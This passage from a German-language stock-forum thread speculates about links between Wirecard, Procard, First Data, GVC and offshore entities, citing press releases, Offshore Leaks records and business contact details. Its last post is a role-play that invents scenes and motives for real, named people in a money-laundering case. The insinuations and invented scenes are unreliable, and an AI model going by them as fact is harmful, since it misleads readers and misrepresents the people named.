      EWI, based in San Diego, CA, provides the prepaid and cash payments industry with PayGo a patented prepaid transaction processing platform. PayGo enables merchant processors, acquirers, and prepaid distributors to manage the entire category of prepaid services on a single transaction platform residing on retailers' terminals, point of sale systems, or other transaction networks.
      ...
      "Our solutions allow merchants to grow their prepaid product portfolio while lowering costs," said Miles Paschini, chief executive officer, EWI. "Blackhawk Network's scale complements our solutions, allowing us to extend and increase the benefits of prepaid products to a much larger market."



      ---
      im Februar 2016 hat GVC seine Führungsspitze erweitert
      http://www.gamingintelligence.com/people/36189-gvc-appoints-…

      Further to the strategic recruitment of Shay Segev as chief operating officer and Nick Batram as head of investor relations and corporate strategy, GVC has brought in Stephen Morana and Peter Isola as independent non-executive directors to the board.
      GVC said that Morana was widely recognised for his e-commerce expertise, particularly as a specialist in the iGaming sector having spent ten years as part of the management team at Betfair.
      He joined Betfair in 2002, becoming chief financial officer in 2006 and also served as interim CEO in 2012. Morana is currently CFO of Zoopla Property Group, the FTSE 250 digital media business, which he joined in 2013 and helped float in 2014, and is also a non-executive director of boohoo.com.
      Isola joins the board as an expert in gaming law and regulation with experience advising numerous e-commerce clients. Domiciled in Gibraltar, he currently holds non-executive directorships at numerous Gibraltar businesses including Gibraltar International Bank Limited, Hercules Fund PCC Limited and Callaghan Insurance Brokers Limited, all regulated by the Gibraltar Financial Services Commission.
      Since 2007, Isola has been a senior partner at Isolas in Gibraltar and was initially called to the Bar of England and Wales and the Gibraltar Bar in 1982.

      Peter Isola!

      The Group was originally known as Gaming VC Holdings S.A., a company incorporated in Luxembourg. The Group redomiciled to the Isle of Man in April 2010 under a new company, GVC Holdings plc.

      Peter Isola joined the GVC Board in 2016 following the move to the Main Market of the LSE as an expert in gaming law and regulation with experience advising numerous e-commerce clients. Peter Isola is a Gibraltarian and is domiciled in Gibraltar. Peter currently holds non-executive directorships at numerous respected Gibraltar businesses including Gibraltar International Bank Limited, Hercules Fund PCC Limited and Callaghan Insurance Brokers Limited, all regulated by the Gibraltar Financial Services Commission. Since 2007 Peter has been a Senior Partner at his own law firm Isolas in Gibraltar and was initially called to the Bar of England and Wales and the Gibraltar Bar in 1982. Peter Isola is renowned in his sector and is currently a member of the Honourable Society of the Inner Temple and a Council Member of The Gibraltar Bar Council.

      Fiduciary Management Limited
      Suite 23, Portland House
      Glacis Road
      Gibraltar
      info@fiduciarygroup.com
      www.fiduciarygroup.com
      Tel: +350 200 76651
      Fax: +350 200 41510

      London Office
      Fiduciary Management Services (UK) LLP
      45 Welbeck Street
      London
      W1G 8DZ
      info@fiduciary.co.uk
      www.fiduciarygroup.com

      Peter isola, Mitglied der Isolafamilie (die quasi Gibraltar "ist")

      3 Bell Lane
      https://offshoreleaks.icij.org/nodes/14014985

      MARKETEL LIMITEDD
      45 WELBECK STREET
      LONDON
      W1G 8DZ
      Company No. 04789551
      Status: Active
      Date of Incorporation: 05/06/2003
      Directors:
      FIDUCIARY DIRECTORS LIMITED
      3 BELL LANE
      GIBRALTAR
      FIDUCIARY MANAGEMENT LIMITED
      3 BELL LANE
      GIBRALTAR

      Die Marketel war - in grauester Vorzeit - eine Firma, die angeblich der EBS/Infogenie die heiße Dialerkartoffel CROSSKIRK SL abgenommen haben soll...

      Isolas
      Portland House
      Glacis Road
      PO Box 204
      Gibraltar
      Contact: Peter Isola
      Tel (350) 200 78363 peter.isola@isolas.gi www.isolas.gi




      Shay Segev --> zuvor PLAYTECH

      als 2015 Ladbrokes und Coral (Pferdewetten UK) fusionierten (2,3Milliarden Pfund), gab es Ärger
      in diesem Zusammenhang wurde shay segev erwähnt (nov 2015)

      Separately, online gambling company GVC, which in September agreed to buy rival Bwin.Party for £1.1bn, disclosed that it had poached Coral’s chief strategy officer, Shay Segev, who has only been in the job since July. Mr Segev was previously at online gambling software provider Playtech.


      Playtech wiederum kaufte im April 2015 für ne halbe Millarde markets.com
      "Playtech Acquires Markets.com (TradeFX) for up to €458 Million
      Playtech is acquiring TradeFX, the holding company behind the forex and CFD broker Markets.com"

      der höchst umtriebige Chef Tedi Sagi (auch Teddy Sagi)

      die 16 Offshorefirmen des Herrn Sagi, die man in den Offshoreleaks fand, sind nach mwedienberichten "nicht mit irgendeinem Fehlverhalten assoziiert, es handelt sich um Immobilienfirmen"

      womöglich, das habe ich nicht überprüft, ist auch Shay Segev mit Immobilienfirmen verbunden. In Florida.

      es ist eine absurd kompliztierte Geschichte, ohne dass man weiß, ob es irgendwo überhaupt eine Geschichte gibt

      und - wie erwähnt - meine elektronische Verbindungssuchmaschine ist kaputt, daher ist das jetzt alles eher aus der Erinnerung und mit Google zusammengeschustert
      Avatar
      schrieb am 09.08.16 11:52:15
      Beitrag Nr. 167 ()
      Bluemountain Capital short in wirecard

      BlueMountain shortete (bisher erfolglos) Mattel (Herbst 2015), die mit den Barbiepuppen. Seit Februar sind sie zusammen mit anderen (Odey!) short in Immobilien in London (Berkeley Group). Im Juni 2015 attackierten sie California Resources (die sind inzwischen abgeschmiert).

      BlueMountain wurde gegründet von Andrew Feldstein 2003 (ex JPMorgan)
      http://www.wallstreetoasis.com/company/bluemountain-capital-…
      2015 bekamen sie Geld von der Pensionskasse von Orange County oder so (76Mio)

      Der spannendste Fall für BlueMountain war der Fall Ocwen/William Erbey. BlueMountain ging Anfang 2015 short, weil sie nicht glaubten, dass die Firmen sich von den Tätigkeiten ihres Gründers erholen könnten, der übrigens inzwischen von dem Geld, das ihm als Selfmademilliardär blieb, die maltesische Staatsangehörigkeit gekauft hat.
      Willkommen in der EU!
      http://daphnecaruanagalizia.com/2016/05/american-billionaire…



      -->
      http://www.maltatoday.com.mt/news/national/66489/millionaire…
      Avatar
      schrieb am 10.08.16 10:19:51
      Beitrag Nr. 168 ()
      Antwort auf Beitrag Nr.: 52.205.416 von jigajig am 16.04.16 23:03:54
      Zitat von jigajig: eine Studie über 4,1 Millionen merchants, Telefonnummern in Dubai und andere bedlanglose Dinge


      17.02.2011 / 07:45

      Grasbrunn/Munich, February 17, 2011; Effective as at January 13, 2011
      Wirecard AG acquired Procard Services FZ LLC, headquartered in Dubai,
      United Arab Emirates. The seller, Marwan Kheireddine, established the
      company in 2004 together with a number of regional partners. Kheireddine is
      the principal shareholder and CEO of the Lebanese Al-Mawarid Bank s.a.l..
      The parties agreed not to disclose the purchase price.


      Herr Kheireddine hat am 14.02.2011 auf seiner neu installierten Unterseite auch genau erklärt, was er für eine tolle Firma hat:
      http://goo.gl/m52LcP

      PROCARD is a leading provider of electronic commerce and payment solutions for businesses and consumers worldwide. Our acquisition will enable any company to broaden its service offering to its banking and merchant clients and to support their cross-border strategies for growth. Our mission is to provide the best back offices solutions available in the market today. You will not find another service provider that is more flexible or responsive!
      Our services are efficient, affordable and swift. Our vision is to maintain 100% accuracy. Our goal is to support the client with any and all back office technology tasks and to accurately and effectively complete these projects. Our global client base includes clients in many time zones and geographic locations - United Arab Emirates, UK, USA, Canada, Australia, Japan, the Netherlands, Germany and France. The PROCARD team is experienced and skilled, and we have successfully completed and served hundreds of clients. Our training and quality standards ensure efficiency and reliability of data and proven, quality services and support.


      Irgendwann 2008 ist mir diese tolle Firma aufgefallen.

      Directory
      Procard Services FZ-LLC
      502309
      04-3912866
      04-3912113
      www.procard-services.com

      fand ich jetzt nicht so wahnsinnig erhellend. Als die wirecard die Firma gekauft hat, hat man zunächst die Telefonnummer behalten:
      http://goo.gl/fpT9GM
      Damals habe ich mir noch gedacht: Komisch, haben die nicht Sorge, mit der "LCC Middle East" verwechselt zu werden? Die hatten nämlich dieselbe Nummer laut Google
      Lcc Middle East FZ (L.L.C) 04 3912866 Office 908 Thuraya Tower 2,Dubai Internet City 500639 Dubai

      Um die LCC wurde es in jener Zeit gerade eher ein wenig still.
      LCC Germany
      Josef- Dietzgen- Strasse 3
      D-53773 Hennef, Germany
      Tel: +49.22.42.93.330
      Fax: +49.22.42.93.33.199

      aber eine Klasse Firma!

      2004 oder so stand mal, dass einer EBS Holding AG 100% einer "Card Systems, LCC, Dubai" gehören würden. Aber da dachte ich, die haben halt LCC und LLC verwechselt und die "Card Systems" gemeint.

      Na egal.

      Als ich die Firma dann mal unter dieser Adresse sah
      Sheikh Zayed Road Internet City
      Office # 228, 2nd Floor, Building # 16, Ericsson Building.
      (+971 4 3912866)

      fiel sie mir nicht auf, auch die Nummer nicht (war ja anders formuliert)

      Inzwischen ist die Firma umgezogen und verwendet eine andere Telefonnummer
      http://www.lcc.com/index.php/en/contact-us/middle-east
      Gut so, man könnte sonst ja glatt denken, die Wirecard habe eine Firma Procard, LCC 2004 besessen, selbiges vergessen und sie deshalb 2011 noch einmal gekauft. Verrückte Idee, vergesst es einfach.

      Ich wollte auch was anderes erzählen:
      Ich habe nämlich einen Linuxexperten gefunden. Prima, denn ich will ja endlich auf Linux umsteigen.
      Der Experte ist mir aber wohl zu teuer
      https://www.gulp.de/freiberufler/A740B788.html
      Er hat nämlich schon für die Hypo Vereinsbank gearbeitet und für ein Portal gametiger.com, auch für O2 und die Werbeagentur heye.de

      Dann hat er längere Zeit für die Wirecard gearbeitet. Na gut, such ich mir besser einen anderen Experten. Er war sogar ziemlich lange bei der Wirecard
      Projekt : Umzug Rechenzentrum + Aufbau eines Standby Rechenzentrums
      Firma : Wirecard Technology AG
      Zeitraum : August 2007 - September 2010
      Details : Analyse der bestehenden Systemlandschaft, Erstellung eines Konzepts,
      Proof of Concept, Installation und Konfiguration hochverfügbarer
      Systeme auf Basis von RedHat Linux und Oracle.
      Software : Oracle 10+11, RAC, Streams, PL/SQL, Infiniband, Fiber Channel, HA,
      RedHat, Linux, Dell, Perl, Config Management


      Muß ein guter Mann gewesen sein, denn die Wirecard hat ihn später noch einmal benötigt. Also gut, nicht direkt die Wirecard, aber die Procard (und die gehörte ja seit Anfang 2011 der Wirecard)

      Projekt : Planung eines Rechenzentrums in Dubai
      Firma : Procard Services FZ LLC, Dubai
      Zeitraum : Juli 2011 - Dezember 2011
      Details : Erstellung eines Konzepts, Auswahl des Hosting Provider, Dimensionierung
      der Hardware, des Netzwerks und der benötigten Lizenzen, Konzepterstellung
      zu Backup/Recovery, Config Management, Change und Patch Management, Security
      Software : Oracle 10+11, RAC, Streams, PL/SQL, Fiber Channel, HA, Cisco, PCIDSS, PCI DSS
      RedHat, Linux, HP, IBM, Perl, Config Management, Load Blancer, Loadblancer


      Dubai ist ja schön, immer Sonne und so, trotzdem sucht der Linuxexperte heute wieder einen Job in der Münchner Gegend. Brav.

      Ach ja: Zwischen seinem Engagement für die zur Wirecard gehörenden Procard Services FZ LLC und seinem Engagement bei der Wirecard arbeitete er bei
      Firma : Procard Services FZ LLC, Dubai
      Zeitraum : Oktober 2010 - Juli 2011
      Details : Analyse der bestehenden Probleme, Erarbeitung einer Roadmap zur Lösung
      der offenen Punkte, Umsetzung der Security Richtlinien des PCI DSS (Payment Card Industry Digital Security Standard), Schulungen zur Security Awareness
      Software : Kreditkarten, PCI DSS, PCIDSS


      Aber gut, Markus Braun kam ja schließlich auch von der EBS zur "Wire Card I" und brachte diese dann in die EBS, um Chef der "Wire Card II" zu werden. Manchmal verlaufen Karrieren eben nicht geradlinig, schon gar nicht als Linuxeperte oder als Paymentanbieter.

      Die "First Data" kann da ein Lied von singen. Eigentlich ist das eine Firma wie die Firma von dem netten Araber, von dem die Wirecard die Procard gekauft hat.
      First Data is a leading provider of electronic commerce and payment solutions for businesses and consumers worldwide.
      First Data serves 4.1 million merchant locations, 1,500 card issuers and millions of consumers. GZS provides card issuing and acquiring processing as well as cross-border debit and fraud management solutions to its banking clients. Easycash, a fully owned subsidiary of GZS, delivers network service provider and E-business services. Today, GZS processes 982 million transactions per year and provides outsourced processing services for 8.5 million German and Swiss credit cards. Furthermore, GZS provides merchant processing services for its clients who serve more than 300,000 merchants. First Data's acquisition will enable the company to broaden its service offering to its banking and merchant clients and to support their cross-border strategies for growth.


      Das sagte die Procard wörtlich genauso. Nur wurde Procard ja gekauft. Also sagt First Data über die gekaufte GZS dasselbe wie die Procard zu ihrem Käufer Wirecard.

      Auch "Western Union Services Inc." sagte das - übrigens im selben Jahr wie die First Data:
      Jean Claude Farah, director, Middle East, Pakistan and Afghanistan of Western Union Financial Services Inc., has been promoted as its regional vice president, Middle East, Pakistan and Afghanistan. Reporting to Hikmet Ersek, senior vice president, Europe, Middle East, Africa and South Asia in Vienna, Farah will oversee two regional offices in Dubai, United Arab Emirates and Islamabad, Pakistan, managing a team of 26 seasoned professionals, covering 15 countries and over 5000 agent locations.

      Die hatten also sogar die exakt gleiche Anzahl an
      Serving 4.1 million merchant locations, 1,400 card issuers [100 weniger als First Data, die aber a.a.O. auch mal von 1400 schreiben] and millions of consumers, Western Union and its subsidiary, Orlandi Valuta, together make up one of the world’s largest money transfer networks with approximately 233,000 agent locations in more than 200 countries and territories (First Data hatte 300.000).


      http://secureglobalpay.net ist etwas spät dran, macht aber auch munter mit beim großen merchants-Wettzählen. Auf deren aktueller Seite steht:
      ...

      Die Zahl "4,1 Millionen" muß irgendeine geheimnisvolle Bedeutung haben. Denn in Pressemeldungen von 2008 gibt "First Data" immer noch dieselbe Zahl an.

      Komisch.

      Aber ich wollte zurück ins Jahr 2005

      Da kaufte First Data nämlich eine deutsche Firma

      http://www.businesswire.com/news/home/20051230005093/en/Data…

      GZS Gesellschaft fur Zahlungssysteme mbH

      Im Zatarrabericht steht erstaunlicherweise eine ähnlich klingende Firma:
      EZV Gesellschaft für Zahlungssysteme mbH

      Warburg schreibt nun in seiner "Analyse" von Zatarra einen kryptischen Satz

      However, when reading the Zatarra report one might get the impression that Kalder, who
      was involved in money laundering together with Schuett in the U.S., incorporated the
      German company EZV, Gesellschaft für Zahlungssysteme mbH, which is a cooperation
      partner of Wirecard. Based on our findings here, the Zatarra report could easily be
      misinterpreted in our view. Zatarra writes that USA AG Inc. had an address in Germany which seemingly had the same address as EZV. Based on our research, this seems to be correct.


      also:
      EZV ist Partner von Wirecard, hat aber nichts zu tun mit Schütt
      GZS ist partner von "First Data", hat aber nichts zu tun mit Procard in Dubai
      Secureglobalpay ist "An Agent of Clearent, LLC a registered MSP of Central Bank of STL"
      Procard heißt heute wirecard dubai irgendwas und hat nichts mit der First Data zu tun
      LCC in Dubai hat mit nichts zu tun, hat nur zufällig dieselbe Telefonnummer wie Procard
      Procard gehörte 2004 zu 100% zur EBS Holding AG
      Linuxexperten können hellsehen und arbeiten überall gut

      fassen wir zusammen: Alles ist gut.

      aber was bedeutet jetzt die Zahl "4,1 Millionen merchant locations" und warum haben so viele Firmen genau diese Anzahl und für was hat First Data die GZS gekauft, wenn es hinterher trotzdem bei "4,1 millionen merchant locations" blieb?
      Avatar
      schrieb am 10.08.16 10:48:18
      Beitrag Nr. 169 ()
      sorry, Videoeinbettung klappt nicht
      https://youtu.be/icY3RkSwx7s?t=398
      https://www.youtube.com/watch?v=WYotZnGlEnI
      Avatar
      schrieb am 10.08.16 12:28:31
      Beitrag Nr. 170 ()
      https://offshoreleaks.icij.org/nodes/201514

      Laut Presseberichten habe diese Offshorefirma (Advent International Capital Ltd.) nichts mit der PE-Firma "Advent International (Corporation)" zu tun, sondern verwende/Missbrauche leidglich deren namen
      http://www.efinancialnews.com/story/2016-06-27/offshore-pana…

      Spannend ist die Firma allemal...

      Denn der shareholder ist eine andere Offshorefirma
      https://offshoreleaks.icij.org/nodes/192330

      Salford Capital Partners Inc. ist durchaus bekannt...

      Eugene Jaffe
      • Montana River Trust; Salford Capital Partners Inc
      • The BVI entity Salford, with disguised ownership, managed £750m of investments in Georgia and Serbia for the Georgian oligarch Badri Patarkatsishvili. Jaffe originally worked in the Russian finance ministry, but acquired US nationality and a luxury central London flat in Hyde Park Gate. He managed Patarkatsishvili's investments, including a bank in Georgia, from an office in St James's Square. Patarkatsishvili was a partner of Boris Berezovsky and fled to London as Berezovsky did. He was said to be worth $12bn (£7.5bn), and suddenly died in 2008, aged 52, at Downside Manor, Leatherhead, the Surrey mansion where he was in exile. Until Patarkatsishvili's death, Jaffe kept his own assets at Salford Capital Partners hidden in a BVI trust called Montana, set up 2003 – of which 40% was for Jaffe and his son, and the other 60% for the benefit of various business employees.
      • Company formation: London lawyers Salans
      • No response

      https://www.theguardian.com/uk/2012/nov/27/people-behind-off…

      Da tut sich ein Abgrund auf...
      to anyone reading this: I am not interested in any further investigation but was only stumbling about the name ADVENT INTERNATIONAL here. don't send any questions nor killers. Svasibo.
      Avatar
      schrieb am 10.08.16 12:50:05
      Beitrag Nr. 171 ()
      typisch! Der eine Journalist beklagt sich, dass "Advent International Capital" den namen von "Advent International Corporation" missbraucht, der andere Journalist schreibt über die dubiosen Verbindungen des Shareholders "Salford Capital" zur Russenmafia, aber keiner schreibt, dass es durchaus Geschäfte gibt mit diesen Firmen, zB den Verkauf der Danube Foods.
      Ich werde es nie begreifen, wie oberflächlich unsere Medien arbeiten.
      Avatar
      schrieb am 12.08.16 13:46:31
      Beitrag Nr. 172 ()
      Enzo war ein großes Thema in Diskussionen unter lauter netten russischen Pornowebmastern, so um 2003 herum, nachdem die netten russischen Pornowebmaster nebst ihrem Oberpornowebmaster redeye gewisse Probleme mit einer Firma namens EBS hatten. Sie entdeckten damals Enzo als "Alternative" (wie sie irrigerweise dachten). Bis dann, eines schönen tages, einer der netten russischen Webmaster folgenden Dialog postete:
      Enzo Carone matto (2:32 PM) : hi...are you there? unfortunately i have very bad news... Enzo Carone matto (3:10 PM) : carriers will not pay...and they charged back turnovers for january and february which we already paid... Enzo Carone matto (3:14 PM) : switzerland swisscom and our other carrier will not pay because of fraud: autodial По их словам, выплат за февраль/март ресселерам уже не будет. Линки не работают.
      Oh weh, arme Russen, das Geld für die kriminellen Dialereinsätze im Februar und März, das war leider weg. Kann passieren... Die EBS hatte sie ja deutlich genug gewarnt vor dem Einsatz von Trojanern oder der Bewerbung von Kinderpornographie:
      Hello to everyone! This is to confirm that an abuse through CP [Kinderpornographie] had been reported to us by the Dutch Telecom. We checked the page in question (astalavista.box.sk) and my colleague found this to be true. The TID reported by Duch Telecom was 5-6-5-x. Therefore, we shut down this TID. After checking again myself, I found that this report from Holland was wrong and that it was a dialer from 5-1-63-x which was involved. We have now shutdown 5-1-63-x. However, since Dutch Telecom has reported 5-6-5-x to us and asked to terminate this dialer, we have move this dialer ID's to another number. Hopefully this was fair to everyone and will keep us out of trouble with Holland. At Crosskirk, we continue to have a zero-tolerance policy towards CP and virus-downloads. In the past, we did not really look around for violations but reacted to reports from users and telecoms. We are now changing this policy and we are actually checking all the referrers to make sure that only legal methods are used to promote the dialer. I ask for your support in this matter. In recent weeks, we have lost England, Sweden, Australia. All this due primarily to CP and virus-downloads. How many more countries should we lose? Webmasters (you) have lost a lot of money due to these countries being closed.

      ***

      Crosskirk SL


      Oha! Na, da mussten sich die russischen Webmaster für ihre Kinderpornos mit Trojanerdialern doch glatt andere Partner suchen.

      Aber auch die deutschen Firmen, die daran beteiligt waren, hatten plötzlich Sorgen...

      Man lese mal nach im Aktienprospekt der Wirecard:

      http://irpages2.equitystory.com/wc/pdf/WireCard_Prospekt_200…

      suchbegriff "crosskirk"

      Besonders lustig fand ich schon immer die Stelle, wo die Infogenie ihren Aktionären erklärt, warum man mit Crosskirk nun doch nicht mehr so viel geld verdienen könne wie geplant: Weil nämlich "telefonbasierte Abrechnungen" bald verboten werden würden. Nun ja, das war zwar nicht richtig, es wurde lediglich der betrügerische Dialereinsatz erschwert, aber gut, Aktionäre müssen ja nicht immer alles erfahren. Zu viel Transparenz ist schädlich: in russischen Kriminellenforen genauso wie im Mallorcinischen Immobilienhandel, bei der illegalen Abrechnung von Pokergeldern oder in anderen Graubereichen unserer Wirtschaft.

      Während Florian Homm damals seinen Nachtclub am Paseo Maritimo hatte, da war Enzo Carone noch mit bescheideneren Domizilen zufrieden: Wenn ich mich richtig entsinne, suchte der ehemalige Key Account Manager der EBS damals eine Wohnung zusammen mit Frank Thomaschowski, einem weiteren Ex-EBSler https://goo.gl/UF6KaT

      Also ich bin mir sicher, dass sie eine Wohnung suchen, aber... soweit ich mich erinnere, sollte auch eine Katze mit einziehen. In diesem Punkt habe ich aber leider eine Erinnerungslücke. Ich bin eben auch nicht perfekt :)
      Avatar
      schrieb am 12.08.16 14:11:18
      Beitrag Nr. 173 ()
      Es waren sogar zwei Katzen und ein Hund und gesucht wurde nicht eine Wohnung, sondern ein feistehendes Haus mit Büro. Dann habe ich das ja klären können und kann mich wieder der Frage zuwenden, wie lange dieser Irrsinn hier noch dauern soll.
      Avatar
      schrieb am 12.08.16 20:23:07
      Beitrag Nr. 174 ()
      Etwas Unterhaltung zwischendurch?



      Ich spiele jetzt mal ein Rollenspiel. Und zwar schlüpfe ich in folgende Rollen:
      a) Michael Schütt
      b) Raymond Bitar
      c) Hans Schlau, Wirecardaktionär
      d) Mr James Bond, FBI
      e) Anton Schreibflink, Wirtschaftsjournalist

      Es geht um den März 2010.
      Manches in dieser Geschichte ist reine Phantasie. Ich wünsche gute Unterhaltung!

      a) Michael Schütt hat eine Firmengründerfirma USAG24 und viele Partner. Vor kurzem bekam er eine neue Aufgabe: er solle Casinogelder verschieben. Das ist sein bisher lukrativster Job, er fühlt sich klasse. Endlich kann er neue Autos kaufen, bald will er heiraten und in den USA bleiben. Alles ist gut.
      Jeden Tag verschickt er Schecks, ansonsten freut er sich des Lebens.
      Doch immer wieder gibt es Ärger: Er muß zu Banken gehen, die ihm vorwerfen, er würde Casinogelder verschieben. Er lügt ihnen etwas vor, manchmal glauben ihm die Banken, dass er mit Immobilien handelt, dann löscht er sicherheitshalber die Konten, manchmal werden sie auch von den Banken gelöscht, weil sie ihm nicht glauben. Aber man hat ihm gesagt, er habe nichts zu befürchten. Alles ist gut.

      Am 8. Februar meinte Schütt, er habe einen Mann gesehen, der sich seltsam verhielt. Er lief vor seinem Haus in der 1378 Chesapeake Avenue auf und ab. "Mist, kann das ein FBI-Mann sein?". Er schlief schlecht in dieser Nacht... Aber er beruhigte sich wieder. Noch am 16. Februar sah er z.B. 500.000 US$ auf einem seiner Konten. Alles war in Ordnung.

      Am 17. Februar 2010 stand plötzlich die Polizei vor der Türe und nahm ihn fest. Schütt war schockiert. Man konfrontierte ihn mit so viel Beweisen, dass er keine Chance sah, da wieder rauszukommen. "Ich erzähle Euch alles, was ihr wissen wollt, damit meine Strafe nicht so schlimm wird", "Ok", sagten die US-Behörden, dann erzähl mal...

      "Ich mache das alles nur für diese Casinofirmen"
      well, we already know that

      "Mein Auftraggeber ist der Herr *** von ***bet"
      well, we already know that

      Es gibt noch andere Leute, die machen das auch, soll ich sie Euch verraten?
      well, we already know that

      Ja aber, aber, aber, scheiße, in Wahrheit bin ich doch nur ein Handlanger von [beeeeeep]
      oh well, this is interesting, ok, you get away with a little fine. Thank you guy.

      Tja:
      Was soll Schütt den US-Behörden erzählt haben, um seine milde Strafe zu rechtfertigen?
      Und wann hat er es erzählt?
      Mit wem hatte er Kontakt?
      Wann erfuhren seine Auftraggeber, dass der Geldfluss von den casinos zu den Casinospielern gestört ist?



      b) Raymond Bitar
      "So eine Scheiße", dachte Bitar, als er von der Festnahme Schütts hörte. "Jetzt haben wir gerade erst die Sache mit Tzvetkoff und Intabill halbwegs geklärt mit der Payovation-Gründung und dann kommen da ein paar Vollidioten auf die Idee, einem hirnverbrannten Deutschen die Abwicklung der Gelder anzuvertrauen. Ich hab doch immer gesagt, bloß keine Deutschen, die vermasseln nur alles…

      Dann telefonierte er. Nach einigen Telefonaten beruhigte er sich wieder. "Kein Mensch weiß von meinen Konten bei der Wirecard, keiner. Und das wird auch so bleiben. Und wenn auch nur einer plaudert von diesen Deutschen, reiß ich ihnen den Arsch auf"

      Fieberhaft durchforstete er immer wieder das Dokument von Schütt. "Was steht drin, was steht drin?" Die Fallnummer "Case 2:1 0-mj-01 015-SPC" beruhigte ihn. "Das hat nichts mit mir zu tun". Er rief dann Tzvetkoff an und schrie ins Telefon "Halt bloß die Füße still, Du Arschloch".

      Dieser tat ihm den Gefallen nicht, denn er war selbst sauer: auf Bitar, auf Curtis Pope, auf Sam Sciaccia… Und deshalb fuhr er im April 2010 nach Las Vegas, um es (und sich) allen zu zeigen. Dort wurde er verhaftet, während Preet Bharara Bruce Springsteen hörte… Zwei Jahre später widmete Bruce Springsteen ihm dafür einen Song in Hartford https://www.youtube.com/watch?v=2kwuuL-0Jv4&feature=youtu.be…

      Es ist nicht überliefert, ob einer der Initiatoren der Geldwäsche jemals Bruce Springsteen-CDs hatte. Falls ja, dürften sie inzwischen im Müll liegen :)

      Was Tzvetkoff nicht wusste, war, dass John Scott Clark (Impact Payments), Andrew Thornhill (ein Steueranwalt aus Australien) Curtis Pope (gründete HUGO mit Tzvetkoff und Sciaccia 2008, ? E-Z Bill?) und Douglas Rennick (My ATM Online, wohl nicht zu verwechseln mit MyWebATM, das einige der Wirecard zuordnen, was ich aber nicht bestätigen konnte) bereits 2009 verhaftet worden waren…

      Tzvetkoff landete also im April 2010 im Gefängnis und plauderte mit seinem Zellennachbar „Albert“ aus Miami mit cubanischen Wurzeln, der 2003 in einen großen Fall von Kreditkartenbetrug verwickelt war (ein Hacker, verantwortlich für das „cash out“ mit Hilfe gestohlener Kreditkartendaten)[wahrscheinlich der hier]. Tzvetkoff fand es (zurecht!) unfair, dass Albert am größten Fall von Kreditkartenbetrug beteiligt war und nur 20 Jahre bekommen sollte, während ihm 75 Jahre Gefängsnis drohten für Handlungen „im Graubereich“. Deshalb hat er geplaudert. Auch für ihn war es nicht einfach, noch Dinge zu erzählen, die das FBI nicht schon wusste. Er kam dann in Zeugenschutz, erbleichte dennoch, als im April 2011 die US-Justiz zum großen Schlag ausholte und schnell das Gerücht die Runde machte, Tzvetkoff sei schuld an der Misere…


      c) Hans Schlau, Wirecardaktionär

      Es war der frühe Morgen des 17. März, Hans Schlaus 30. Geburtstag! Er hatte gerade erst sein Jurastudium an der LMU München beendet und saß am Computer. Seine Freundin Stephanie wollte gleich vorbeikommen. Er liebte sie! Sie arbeitete bei einer Firma bei München. Hans Schlau hatte sie dort mal abgeholt, aber nie ganz verstanden, was diese Firma eigentlich macht. Irgendwas mit Zahlungen im Internet, Stephanie war die rechte Hand der PR-Chefin, verdiente traumhaft. Hans hatte Stephanie im P1 kennen gelernt, sie redete den ganzen ersten Abend nur von ihrer neuen Firma. Erst spät in der Nacht redete sie nicht mehr, gab aber andere freudvolle Töne von sich. Am nächsten Tag erwachten beide glücklich und Hans Schlau kaufte ihr eine schöne Handtasche – und sich kaufte er 2000 Aktien der Wirecard. 9,50€ hatte er bezahlt, insgesamt 19000€. „Die Dinger werden Dich reich machen“, sagte Stephanie.

      Als er so am Computer saß, schaute er mal nach seinen Aktien. „Mensch, 8.89€ Schlußstand gestern, wann kommen die Dinger jetzt endlich in Fahrt…“. Da klingelte Stephanie und Hans Schlau kam schon bald so in Fahrt, dass ihm die Aktien erst einmal egal war. Stepanie musste dann leider arbeiten. „Irgendein Meeting mit so einem Typen aus Las Vegas“, hauchte sie – und ging von dannen.

      Gelangweilt schaute Hans Schlau auf den Monitor und erstarrte! „Ach Du Scheiße, 7,80! Da hab ich heute ja 2000€ verloren. Was ist da los? Vor ein paar tagen hieß es doch noch, die Aktie würde bald bei 12€ stehen!“. Er las in seinem neuen Lieblingsforum, da stand irgendwas von einer „Partnerfirma International Payment System“ und Geldwäsche und US-Gerichtsdokumenten und immer wieder die Frage: „Ist die Wirecard verwickelt?“. Hans Schlau wählte Stephanies Nummer: „Was ist das für ein Scheiß bei Euch?“. Stephanie meinte „ach bleib cool! Irgendein blöder Kunde hat in Florida Gelder gewaschen und die kamen von einem Konto von uns, der Chef hat vielleicht getobt! Ich hätte fast gedacht, er kippt gleich um. Aber meine Chefin hat gemeint, dass der immer so ist, wenn ihm was nicht passt und dass ich mir keine Sorgen machen soll“. „Mensch Steffi, ich hab heut 2000€ verloren mit der Aktie!“ „Jetzt beruhige Dich doch! Und sag nicht Steffi zu mir! Der Chef will gleich eine Meldung rausbringen, dann klärt sich das schnell auf. Kauf halt einfach noch Aktien nach!“

      Hans Schlau liebte Stephanie, aber auch sein Geld. Deshalb las er weiter. Tatsächlich gab es eine Erklärung:

      „Ein angebliches Ermittlungsverfahren gegen eine Privatperson in Florida ist Wirecard durch Verbreitung über das Internet bekannt geworden. Die Wirecard AG legt Wert auf die Feststellung, dass sie weder Partei noch in anderer Form Beteiligte dieses oder eines anderen Ermittlungsverfahrens in den USA ist. Auch steht oder stand die Person, gegen die sich die angebliche Ermittlung richtet, zu Wirecard in keinerlei Verbindung.
      In einer im Internet veröffentlichten Anklageschrift wird vielmehr neben anderen namhaften US amerikanischen und deutschen Banken auch die Wirecard Bank, erwähnt. Es wird aufgeführt, dass über diese Banken missbräuchlich internationale Überweisungen abgewickelt wurden.
      Der Wirecard AG ist durch die vorgenannten Transaktionen kein wirtschaftlicher Schaden entstanden.
      Beste Grüße
      Iris Stöckl”

      Hans Schlau wurde ruhiger: Berenberg empfahl die Aktie zum Kauf. Abends erzählte Stephanie „Die WestLB wird uns auch empfehlen, alles ist gut“. Einige Tage später kaufte Hans Schlau 3000 Stück Wirecardaktien für 8€, damit hatte er nun 43.000€ investiert. Sein komplettes Vermögen.

      Er fuhr mit Stephanie auf Mauritius, weil sie dort etwas erledigen sollte: „Ich muß da nur Zeug unterschreiben wegen so einer Firmengründung. Wenn ich das erledige, darf ich noch zwei Wochen bleiben und bekomm noch 5000€ obendrauf“. Hans Schlau lachte „Das zahl ich ja schließlich auch mit meinen gekauften Aktien“.

      Den Crash am 30. März bekam Hans Schlau nicht mit. Als er zurückkam, stand die Aktie bei 8,65€. Er lag bei einer schwarzen 0 und atmete tief durch.

